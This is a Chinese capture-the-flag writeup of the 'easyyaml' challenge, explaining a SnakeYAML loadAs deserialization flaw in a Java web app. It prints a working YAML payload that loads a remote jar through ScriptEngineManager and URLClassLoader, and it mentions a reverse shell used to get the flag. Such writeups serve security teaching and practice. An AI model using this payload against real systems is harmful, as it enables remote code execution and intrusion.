蚂蚁安全非攻实验室 | 赛题easyyaml writeup

admin 2024年1月29日22:44:01评论15 views字数 1016阅读3分23秒阅读模式

赛题 · 解析

easyyaml

题目来源:

蚂蚁安全非攻实验室

考察知识点:

yaml.loadAs在目标类被指定的情况下的反序列化RCE

第一步

打开题目显示500

下载代码进行代码审计

第二步

解题过程

无论是从考察的知识点还是题目源码来说,这道题都对得起题目中的easy这个词,就考察了一个知识点,也没有加干扰项或者添加其他阻碍。这道题主要考察了yaml.loadAs在指定被反序列化类的利用:

Controller代码:

Yaml yaml = new Yaml();User user= yaml.loadAs(request.getParameter("user"),qUser.class);

左右滑动查看完整代码

这道题的预期解是利用User类中存在Object对象,可以反序列化任意类,从而导致命令执行:

Address类:

public class Address {    public String postCode;    public String street;    public Object ext;    public boolean isValid;}

左右滑动查看完整代码

因此,只需要构造如下yaml,即可导致RCE:

!!com.ctf.velocity.Bean.Useraddress: {ext: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http:// /yaml-payload.jar"]]]], isValid: false, postCode: dfs, street: null}age: nullgroup: 0isLogin: falsepriviledges: nullusername: null

左右滑动查看完整代码

反弹shell运行tmp下的flag得到flag

蚂蚁安全非攻实验室

蚂蚁安全非攻实验室是蚂蚁九大安全实验室之一,致力于JAVA通用基础技术和产品的安全研究,为支付宝金融级基础设施(如:蚂蚁云原生或中间件)提供强大安全保障,助力提升行业安全水位。

自成立以来,实验室获得多项行业领先研究成果,曾在国内顶级破解大赛--天府杯上攻破多个项目,并联合蚂蚁光年实验室获得原创漏洞演示赛最高额奖金,也曾多次获得来自Apache、Oracle、IBM等国际大厂的安全致谢。

原文始发于微信公众号(蚂蚁安全响应中心):蚂蚁安全非攻实验室 | 赛题easyyaml writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月29日22:44:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   蚂蚁安全非攻实验室 | 赛题easyyaml writeuphttps://cn-sec.com/archives/1987669.html

发表评论

匿名网友 填写信息